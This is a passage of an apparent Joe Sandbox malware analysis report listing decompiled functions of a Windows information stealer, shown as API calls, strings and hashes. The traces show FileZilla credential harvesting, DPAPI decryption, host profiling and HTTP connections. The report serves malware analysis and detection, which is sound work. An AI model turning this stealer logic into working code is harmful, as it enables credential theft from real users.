GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6beba432bb96e3c84f5a57a5e63355993c4d593e46cb58c7d3b5d81651624c51
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 6beba432bb96e3c84f5a57a5e63355993c4d593e46cb58c7d3b5d81651624c51
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 72f6734ba949fb204cdb31aa2d361f577838c1988200e0d7a2c5188d89033d93
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 72f6734ba949fb204cdb31aa2d361f577838c1988200e0d7a2c5188d89033d93
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,041F6A50,00000000,?,0041D758,00000000,?,00000000,00000000,?,041F7920,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,041F35B0,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,041F3C08), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,041F8830), ref: 004072FB
lstrcat.KERNEL32(?,041F88A8), ref: 0040730F
lstrcat.KERNEL32(?,041F87E8), ref: 00407322
lstrcat.KERNEL32(?,041F87B8), ref: 00407336
lstrcat.KERNEL32(?,041F3C90), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,041F8830), ref: 00407399
lstrcat.KERNEL32(?,041F88A8), ref: 004073AD
lstrcat.KERNEL32(?,041F87E8), ref: 004073C1
lstrcat.KERNEL32(?,041F87B8), ref: 004073D4
lstrcat.KERNEL32(?,041F3CF8), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,041F8830), ref: 00407438
lstrcat.KERNEL32(?,041F88A8), ref: 0040744B
lstrcat.KERNEL32(?,041F87E8), ref: 0040745F
lstrcat.KERNEL32(?,041F87B8), ref: 00407473
lstrcat.KERNEL32(?,041F8320), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,041F8830), ref: 004074D6
lstrcat.KERNEL32(?,041F88A8), ref: 004074EA
lstrcat.KERNEL32(?,041F87E8), ref: 004074FD
lstrcat.KERNEL32(?,041F87B8), ref: 00407511
lstrcat.KERNEL32(?,041F8388), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,041F8830), ref: 00407574
lstrcat.KERNEL32(?,041F88A8), ref: 00407588
lstrcat.KERNEL32(?,041F87E8), ref: 0040759C
lstrcat.KERNEL32(?,041F87B8), ref: 004075AF
lstrcat.KERNEL32(?,041F83F0), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,041F8830), ref: 00407613
lstrcat.KERNEL32(?,041F88A8), ref: 00407626
lstrcat.KERNEL32(?,041F87E8), ref: 0040763A
lstrcat.KERNEL32(?,041F87B8), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(30AB5020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,041F3790), ref: 004077DB
lstrcat.KERNEL32(?,041F7660), ref: 004077EE
lstrlen.KERNEL32(30AB5020), ref: 004077FB
lstrlen.KERNEL32(30AB5020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 71a07dda988696830ba42ff86637ae7152b3adc93f1422aa4a5be7619d59b96e
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 71a07dda988696830ba42ff86637ae7152b3adc93f1422aa4a5be7619d59b96e
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

<Pass encoding="base64">, xrefs: 0040EC9A
url: , xrefs: 0040EDB7
<Port>, xrefs: 0040EC06
login: , xrefs: 0040EE0A
browser: FileZilla, xrefs: 0040ED99
<Host>, xrefs: 0040EBBC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
password: , xrefs: 0040EE3B
profile: null, xrefs: 0040EDA8
<User>, xrefs: 0040EC50

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: cab5d478a700550077d3886c2a1706362e5d885cf538c2e79374ea94af899fbf
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: cab5d478a700550077d3886c2a1706362e5d885cf538c2e79374ea94af899fbf
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,041F2438), ref: 00415F11
GetProcAddress.KERNEL32(74DD0000,041F2240), ref: 00415F2A
GetProcAddress.KERNEL32(74DD0000,041F2288), ref: 00415F42
GetProcAddress.KERNEL32(74DD0000,041F22D0), ref: 00415F5A
GetProcAddress.KERNEL32(74DD0000,041F2258), ref: 00415F73
GetProcAddress.KERNEL32(74DD0000,041F2C10), ref: 00415F8B
GetProcAddress.KERNEL32(74DD0000,041D8018), ref: 00415FA3
GetProcAddress.KERNEL32(74DD0000,041D8038), ref: 00415FBC
GetProcAddress.KERNEL32(74DD0000,041F23C0), ref: 00415FD4
GetProcAddress.KERNEL32(74DD0000,041F24C8), ref: 00415FEC
GetProcAddress.KERNEL32(74DD0000,041F2450), ref: 00416005
GetProcAddress.KERNEL32(74DD0000,041F2378), ref: 0041601D
GetProcAddress.KERNEL32(74DD0000,041D7E58), ref: 00416035
GetProcAddress.KERNEL32(74DD0000,041F2300), ref: 0041604E
GetProcAddress.KERNEL32(74DD0000,041F2318), ref: 00416066
GetProcAddress.KERNEL32(74DD0000,041D8178), ref: 0041607E
GetProcAddress.KERNEL32(74DD0000,041F23F0), ref: 00416097
GetProcAddress.KERNEL32(74DD0000,041F2468), ref: 004160AF
GetProcAddress.KERNEL32(74DD0000,041D81B8), ref: 004160C7
GetProcAddress.KERNEL32(74DD0000,041F23D8), ref: 004160E0
GetProcAddress.KERNEL32(74DD0000,041D7E98), ref: 004160F8
LoadLibraryA.KERNEL32(041F2480,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(041F2528,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(041F2270,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(041F22E8,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(041F2498,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75A70000,041F22A0), ref: 00416172
GetProcAddress.KERNEL32(75290000,041F2330), ref: 00416193
GetProcAddress.KERNEL32(75290000,041F22B8), ref: 004161AB
GetProcAddress.KERNEL32(75BD0000,041F2348), ref: 004161CD
GetProcAddress.KERNEL32(75450000,041D81D8), ref: 004161EE
GetProcAddress.KERNEL32(76E90000,041F2C20), ref: 0041620F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 54.8, APIs: 22, Strings: 9, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,041F3600,?,041F89E0,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

